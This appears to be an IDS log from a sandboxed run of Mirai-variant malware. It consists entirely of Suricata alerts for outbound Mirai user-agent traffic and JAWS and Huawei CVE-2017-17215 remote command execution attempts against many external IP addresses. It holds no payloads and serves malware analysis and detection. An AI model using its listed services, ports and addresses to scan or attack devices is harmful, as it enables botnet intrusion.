Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50814 -> 189.63.67.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50814 -> 189.63.67.242:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38588 -> 143.95.246.74:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38588 -> 143.95.246.74:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47024 -> 58.233.196.220:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47024 -> 58.233.196.220:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36064 -> 197.4.255.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58844 -> 41.215.18.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47242 -> 156.231.61.46:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38664 -> 41.71.190.203:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38202 -> 195.66.25.125:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38202 -> 195.66.25.125:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57118 -> 103.68.228.38:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57118 -> 103.68.228.38:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52546 -> 156.229.62.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52484 -> 197.7.168.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59658 -> 156.21.203.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51230 -> 197.137.137.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38366 -> 156.41.220.188:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50084 -> 141.23.106.58:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50084 -> 141.23.106.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51332 -> 5.50.172.102:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51332 -> 5.50.172.102:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34554 -> 44.97.239.58:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34554 -> 44.97.239.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54802 -> 69.105.106.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44002 -> 93.134.211.187:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54802 -> 69.105.106.1:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44002 -> 93.134.211.187:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53804 -> 46.29.80.182:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36578 -> 53.119.123.13:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53804 -> 46.29.80.182:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36578 -> 53.119.123.13:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56994 -> 106.125.175.246:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56994 -> 106.125.175.246:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58412 -> 191.107.11.36:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58412 -> 191.107.11.36:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49430 -> 142.163.169.148:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57904 -> 23.13.227.180:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49430 -> 142.163.169.148:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58214 -> 159.56.174.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41946 -> 108.128.143.21:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57904 -> 23.13.227.180:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58214 -> 159.56.174.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58950 -> 213.10.8.153:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58950 -> 213.10.8.153:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35632 -> 217.15.168.25:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38168 -> 136.30.197.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35632 -> 217.15.168.25:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38168 -> 136.30.197.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48852 -> 76.65.219.244:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48852 -> 76.65.219.244:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41946 -> 108.128.143.21:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57206 -> 193.208.82.87:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57206 -> 193.208.82.87:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54544 -> 137.84.118.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54544 -> 137.84.118.55:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55748 -> 50.18.129.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55748 -> 50.18.129.224:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40354 -> 177.102.58.160:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40354 -> 177.102.58.160:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49242 -> 156.47.9.159:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49242 -> 156.47.9.159:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41218 -> 72.185.180.188:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48268 -> 70.167.174.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41218 -> 72.185.180.188:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48268 -> 70.167.174.224:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51992 -> 44.100.34.190:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51992 -> 44.100.34.190:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51966 -> 115.64.13.91:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39680 -> 149.70.197.245:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42384 -> 95.148.172.170:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39680 -> 149.70.197.245:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36024 -> 161.83.220.85:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52870 -> 156.126.99.239:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46164 -> 120.53.85.174:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51966 -> 115.64.13.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42384 -> 95.148.172.170:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36024 -> 161.83.220.85:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46164 -> 120.53.85.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44588 -> 186.244.224.1:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48250 -> 156.232.91.7:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44588 -> 186.244.224.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42740 -> 126.110.141.44:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54340 -> 89.199.198.11:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42740 -> 126.110.141.44:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54340 -> 89.199.198.11:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37802 -> 205.37.220.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37802 -> 205.37.220.224:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50274 -> 122.157.177.130:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50274 -> 122.157.177.130:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44064 -> 2.116.62.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44064 -> 2.116.62.181:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34050 -> 133.151.36.237:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34050 -> 133.151.36.237:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43316 -> 115.161.242.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43316 -> 115.161.242.231:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40602 -> 18.120.91.237:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42194 -> 197.26.74.237:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40602 -> 18.120.91.237:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39518 -> 156.170.127.69:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41426 -> 202.130.12.212:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41426 -> 202.130.12.212:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42698 -> 86.87.136.30:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42698 -> 86.87.136.30:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36696 -> 83.228.148.68:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55606 -> 138.128.101.135:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36696 -> 83.228.148.68:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55606 -> 138.128.101.135:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35558 -> 159.216.106.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35558 -> 159.216.106.173:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33370 -> 41.30.218.207:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55882 -> 70.48.67.132:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52836 -> 83.119.82.146:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55882 -> 70.48.67.132:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52836 -> 83.119.82.146:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53878 -> 219.159.129.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53878 -> 219.159.129.91:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50074 -> 178.167.225.20:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50074 -> 178.167.225.20:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53678 -> 13.77.179.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53678 -> 13.77.179.192:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49922 -> 73.123.193.39:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59838 -> 8.163.124.143:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49922 -> 73.123.193.39:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33746 -> 51.0.21.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41702 -> 86.199.183.40:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59838 -> 8.163.124.143:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33746 -> 51.0.21.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41702 -> 86.199.183.40:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57304 -> 197.132.62.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56452 -> 197.193.108.120:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56424 -> 145.20.17.13:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60926 -> 32.60.240.155:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44360 -> 156.101.171.54:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60926 -> 32.60.240.155:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51504 -> 120.125.222.84:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51504 -> 120.125.222.84:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39548 -> 156.81.76.10:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44830 -> 23.93.194.133:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44830 -> 23.93.194.133:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56374 -> 163.247.225.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56374 -> 163.247.225.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59488 -> 89.148.112.82:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57510 -> 117.255.80.131:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59488 -> 89.148.112.82:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42718 -> 200.134.217.200:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42718 -> 200.134.217.200:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37950 -> 159.180.151.117:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39452 -> 150.32.225.133:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37950 -> 159.180.151.117:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57510 -> 117.255.80.131:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37124 -> 52.147.152.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39452 -> 150.32.225.133:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37124 -> 52.147.152.231:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58206 -> 146.239.100.84:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46196 -> 59.87.238.43:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34760 -> 210.36.162.136:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46196 -> 59.87.238.43:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34760 -> 210.36.162.136:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52012 -> 101.26.29.84:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52012 -> 101.26.29.84:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35510 -> 19.67.64.37:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58206 -> 146.239.100.84:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35510 -> 19.67.64.37:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35534 -> 44.223.88.222:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35534 -> 44.223.88.222:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45496 -> 161.115.163.88:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37904 -> 208.170.5.222:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37904 -> 208.170.5.222:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52248 -> 182.205.184.220:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52248 -> 182.205.184.220:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38188 -> 41.7.124.25:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50606 -> 106.119.111.49:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35752 -> 112.106.103.207:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45994 -> 93.104.201.65:80
